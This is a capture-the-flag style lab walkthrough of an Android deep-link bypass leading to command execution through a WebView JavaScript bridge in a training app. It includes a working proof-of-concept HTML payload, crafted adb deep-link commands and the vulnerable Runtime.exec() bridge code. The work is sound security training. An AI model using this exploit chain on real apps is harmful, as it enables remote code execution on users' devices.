October 28, 2026
Guess ME | Mobile Hacking Lab walkthrough
Another day, another Android challenge from Mobile Hacking Lab!
By Marinovharisan
6 min read
This time, we're looking at Guess Me, a small Android guessing game that seems pretty harmless at first glance. But as we've learned from previous labs, even the simplest applications can hide some interesting security vulnerabilities.
The objective of this challenge is to achieve Remote Code Execution (RCE) by exploiting a vulnerability in the application's deep link handling.
For this lab, I'm using my rooted Samsung Galaxy A52, connected to Kali Linux through ADB. I'll also demonstrate how to reproduce the exploit using a remote Android lab device provided by Mobile Hacking Lab, accessed through their VPN and an already established ADB connection.
In this walkthrough, I'll go through how I approached the application, starting with the AndroidManifest.xml, identifying the exposed attack surface, analyzing the relevant code in JADX, and eventually putting together a working proof of concept.
Reconnaissance and entry point
The manifest identified two exported activities: MainActivity (the normal launcher) and WebviewActivity (a deep-link destination). The latter is the useful attack surface because outside applications can ask Android to open it with a URI.
The BROWSABLE filter makes matching links eligible to be opened from outside the app. The missing path constraint also means the link handler is reachable under arbitrary paths at that scheme and host. Neither point proves a bug alone; both help identify where untrusted input enters.
adb shell am start -W \
-a android.intent.action.VIEW \
-c android.intent.category.BROWSABLE \
-d "mhl://mobilehackinglab/test" \
-p com.mobilehackinglab.guessmeadb shell am start -W \
-a android.intent.action.VIEW \
-c android.intent.category.BROWSABLE \
-d "mhl://mobilehackinglab/test" \
-p com.mobilehackinglab.guessmeThe activity started successfully, but I only saw the built-in HTML page. That was an expected fallback, not a failed exploit: this first URI did not include the url query parameter the code later turned out to require.
Tracing the deep link handler
The code first loads file:///android_asset/index.html. If a URI is present and passes isValidDeepLink(), loadDeepLink() replaces that page with the supplied URL. Otherwise the local asset remains visible. The initial screenshot therefore helped establish that the fallback path worked.
// Relevant expression from isValidDeepLink()
String queryParameter = uri.getQueryParameter("url");
return queryParameter != null &&
StringsKt.endsWith$default(
queryParameter, "mobilehackinglab.com", false, 2, null
);// Relevant expression from isValidDeepLink()
String queryParameter = uri.getQueryParameter("url");
return queryParameter != null &&
StringsKt.endsWith$default(
queryParameter, "mobilehackinglab.com", false, 2, null
);The method also checks that the outer deep link has scheme mhl or https and host mobilehackinglab. Those checks apply to the deep-link URI itself, not to the target inside its url parameter. For the target, the app performs only a case-sensitive string suffix comparison.
WHAT THE CHECK MISTAKENLY ACCEPTS
Actual destination: https://example.com/#mobilehackinglab.com URL host: example.com URL fragment: mobilehackinglab.com Raw string ends in: mobilehackinglab.com -> passes
A URL fragment is not part of the hostname and is not sent as part of the HTTP request path to the remote server. It is enough here to satisfy the suffix check without changing the page being loaded.
Demonstrating the domain bypass
I used a random, unrelated domain to prove the issue before attempting any code execution. This isolates the first vulnerability: the app was supposed to permit a specific domain, but it accepted a different origin.
DEEP LINK USED FOR THE BYPASS
adb shell am start -W \
-n com.mobilehackinglab.guessme/.WebviewActivity \
-a android.intent.action.VIEW \
-d "mhl://mobilehackinglab/?url=https%3A%2F%2Fexample.com%2F%23mobilehackinglab.com"adb shell am start -W \
-n com.mobilehackinglab.guessme/.WebviewActivity \
-a android.intent.action.VIEW \
-d "mhl://mobilehackinglab/?url=https%3A%2F%2Fexample.com%2F%23mobilehackinglab.com"Once decoded, the embedded URL is https://example.com/#mobilehackinglab.com. The WebView displayed the Example Domain page, confirming that the hostname restriction could be defeated.
The JavaScript bridge THAT changes everything
An Android JavaScript Bridge is a mechanism that allows JavaScript running inside a WebView to communicate with the native Android application and call Java/Kotlin methods exposed through @JavascriptInterface. This becomes particularly interesting from a security perspective because JavaScript, which normally runs in a restricted web environment, can potentially access native Android functionality through the bridge. In our case, AndroidBridge is the key to achieving RCE, because it exposes a method that executes operating-system commands, meaning that if we can load our own JavaScript into the WebView, we can execute commands with the application's privileges.
In onCreate(), the app enables JavaScript and registers a Java object named AndroidBridge. This exposes methods annotated with @JavascriptInterface to the page loaded in the WebView.
WebSettings webSettings = webView.getSettings();
webSettings.setJavaScriptEnabled(true);
webView.addJavascriptInterface(
new MyJavaScriptInterface(), "AndroidBridge"
);WebSettings webSettings = webView.getSettings();
webSettings.setJavaScriptEnabled(true);
webView.addJavascriptInterface(
new MyJavaScriptInterface(), "AndroidBridge"
);NATIVE METHOD REACHABLE FROM JAVASCRIPT
@JavascriptInterface
public final String getTime(String Time) {
try {
Process process = Runtime.getRuntime().exec(Time);
InputStream inputStream = process.getInputStream();
BufferedReader reader = new BufferedReader(
new InputStreamReader(inputStream, Charsets.UTF_8)
);
String text = TextStreamsKt.readText(reader);
reader.close();
return text;
} catch (Exception e) {
return "Error getting time";
}
}@JavascriptInterface
public final String getTime(String Time) {
try {
Process process = Runtime.getRuntime().exec(Time);
InputStream inputStream = process.getInputStream();
BufferedReader reader = new BufferedReader(
new InputStreamReader(inputStream, Charsets.UTF_8)
);
String text = TextStreamsKt.readText(reader);
reader.close();
return text;
} catch (Exception e) {
return "Error getting time";
}
}The method name suggests a harmless clock function, but the input is actually an operating-system command. There is no command allowlist and no reason for untrusted web content to choose what gets passed into Runtime.exec(). Unlike a shell, Runtime.exec(String) does not automatically interpret shell metacharacters; the simple id command needs none of that.
ADDITIONAL BRIDGE SURFACE
@JavascriptInterface
public final void loadWebsite(String url) {
webView.loadUrl(url);
}@JavascriptInterface
public final void loadWebsite(String url) {
webView.loadUrl(url);
}The separate loadWebsite() method also accepts a caller-supplied URL without validation. It was not needed for this proof, but it reinforces that the bridge was designed without a reliable trust boundary between a web page and native application capabilities.
Proof of concept โ exact reproduction
Once the validation bypass was confirmed, I served a minimal HTML file that invokes the exposed bridge and displays the returned stdout. The payload uses id, so the demonstration is non-destructive and easy to verify.
This is the exploit I named it poc.html
<!DOCTYPE html>
<html>
<head>
<title>Guess Me - RCE PoC</title>
</head>
<body>
<h2>Mobile Hacking Lab - RCE PoC</h2>
<h3>Command: id</h3>
<pre id="result">Executing...</pre>
<script>
try {
let output = AndroidBridge.getTime("id");
document.getElementById("result").textContent = output;
} catch (e) {
document.getElementById("result").textContent = e.toString();
}
</script>
</body>
</html><!DOCTYPE html>
<html>
<head>
<title>Guess Me - RCE PoC</title>
</head>
<body>
<h2>Mobile Hacking Lab - RCE PoC</h2>
<h3>Command: id</h3>
<pre id="result">Executing...</pre>
<script>
try {
let output = AndroidBridge.getTime("id");
document.getElementById("result").textContent = output;
} catch (e) {
document.getElementById("result").textContent = e.toString();
}
</script>
</body>
</html>HOST THE PAGE AND EXPOSE IT TO THE DEVICE
python3 -m http.server 8000
# In another terminal:
adb reverse tcp:8000 tcp:8000python3 -m http.server 8000
# In another terminal:
adb reverse tcp:8000 tcp:8000ADB reverse maps the phone's 127.0.0.1:8000 connection to the Kali HTTP server for convenient lab delivery. It is a testing shortcut, not a requirement for the underlying vulnerability. In a realistic scenario the page could be hosted at an attacker-controlled reachable origin.
Executing and verifying the PoC
Trigger the exploit
adb shell am start -W \
-n com.mobilehackinglab.guessme/.WebviewActivity \
-a android.intent.action.VIEW \
-d "mhl://mobilehackinglab/?url=http%3A%2F%2F127.0.0.1%3A8000%2Fpoc.html%23mobilehackinglab.com"adb shell am start -W \
-n com.mobilehackinglab.guessme/.WebviewActivity \
-a android.intent.action.VIEW \
-d "mhl://mobilehackinglab/?url=http%3A%2F%2F127.0.0.1%3A8000%2Fpoc.html%23mobilehackinglab.com"The resulting WebView loaded poc.html and displayed the operating-system identity returned by the bridge. This was the moment the theoretical attack chain became a confirmed command-execution finding.
And we see our command in our case id executed
The output of the command is
uid=10314(u0_a314) gid=10314(u0_a314) groups=10314(u0_a314),3003(inet),9997(everybody),20314(u0_a314_cache),50314(all_a314) context=u:r:untrusted_app:s0:c58,c257,c512,c768uid=10314(u0_a314) gid=10314(u0_a314) groups=10314(u0_a314),3003(inet),9997(everybody),20314(u0_a314_cache),50314(all_a314) context=u:r:untrusted_app:s0:c58,c257,c512,c768Bonus โ Reproducing the PoC on the MHL Remote Lab Device
As promised in the introduction, I also wanted to demonstrate how to reproduce the same exploit using a remote Android device provided by Mobile Hacking Lab, rather than my own rooted Samsung.
This is particularly useful if you're preparing for the CAPT exam or simply want to get familiar with working over a VPN connection.
For this part, I've already established the MHL VPN connection and connected to the remote device through ADB.
First, let's check our connected devices:
adb devices
List of devices attached
R5CR814QFYA device
10.200.3.2:6519 deviceadb devices
List of devices attached
R5CR814QFYA device
10.200.3.2:6519 deviceAs you can see, I have two devices connected: my physical Samsung and the remote MHL lab device.
To interact specifically with the MHL device, we can use the -s parameter:
adb -s 10.200.3.2:6519 shelladb -s 10.200.3.2:6519 shellOnce inside, we can check our current privileges:
whoami
# shell
su
whoami
# rootwhoami
# shell
su
whoami
# rootIn this case, the lab device allows us to switch to root. However, root access isn't required to exploit the vulnerability we're investigating.
To make things easier and avoid repeatedly typing the device address, I'll store it in a variable:
DEVICE=10.200.3.2:6519DEVICE=10.200.3.2:6519Next, let's confirm that Guess Me is installed:
adb -s "$DEVICE" shell pm list packages | grep guessme
package:com.mobilehackinglab.guessmeadb -s "$DEVICE" shell pm list packages | grep guessme
package:com.mobilehackinglab.guessmeNow we need to make our malicious HTML page accessible to the remote device.
Just like before, we'll host poc.html using Python:
python3 -m http.server 8000python3 -m http.server 8000In another terminal, configure ADB reverse port forwarding:
adb -s "$DEVICE" reverse tcp:8000 tcp:8000adb -s "$DEVICE" reverse tcp:8000 tcp:8000Verify that the forwarding rule was created:
adb -s "$DEVICE" reverse --list
host-29 tcp:8000 tcp:8000adb -s "$DEVICE" reverse --list
host-29 tcp:8000 tcp:8000This allows the remote Android device to access our locally hosted payload through 127.0.0.1:8000, with ADB forwarding the connection back to our Kali machine over the VPN session.
Finally, let's trigger the same vulnerable deep link:
adb -s "$DEVICE" shell am start -W \
-n com.mobilehackinglab.guessme/.WebviewActivity \
-a android.intent.action.VIEW \
-d "mhl://mobilehackinglab/?url=http%3A%2F%2F127.0.0.1%3A8000%2Fpoc.html%23mobilehackinglab.com"adb -s "$DEVICE" shell am start -W \
-n com.mobilehackinglab.guessme/.WebviewActivity \
-a android.intent.action.VIEW \
-d "mhl://mobilehackinglab/?url=http%3A%2F%2F127.0.0.1%3A8000%2Fpoc.html%23mobilehackinglab.com"The application launches successfully:
Status: ok
LaunchState: COLD
Activity: com.mobilehackinglab.guessme/.WebviewActivity
TotalTime: 931
WaitTime: 934
CompleteStatus: ok
LaunchState: COLD
Activity: com.mobilehackinglab.guessme/.WebviewActivity
TotalTime: 931
WaitTime: 934
CompleteAnd that's it! We've successfully triggered the vulnerable activity on the remote MHL device using the same crafted deep link.
The successful launch confirms that our deep link was delivered to the application. To verify RCE on this device as well, we need to check the WebView for the output of our id command, just as we did on the physical phone.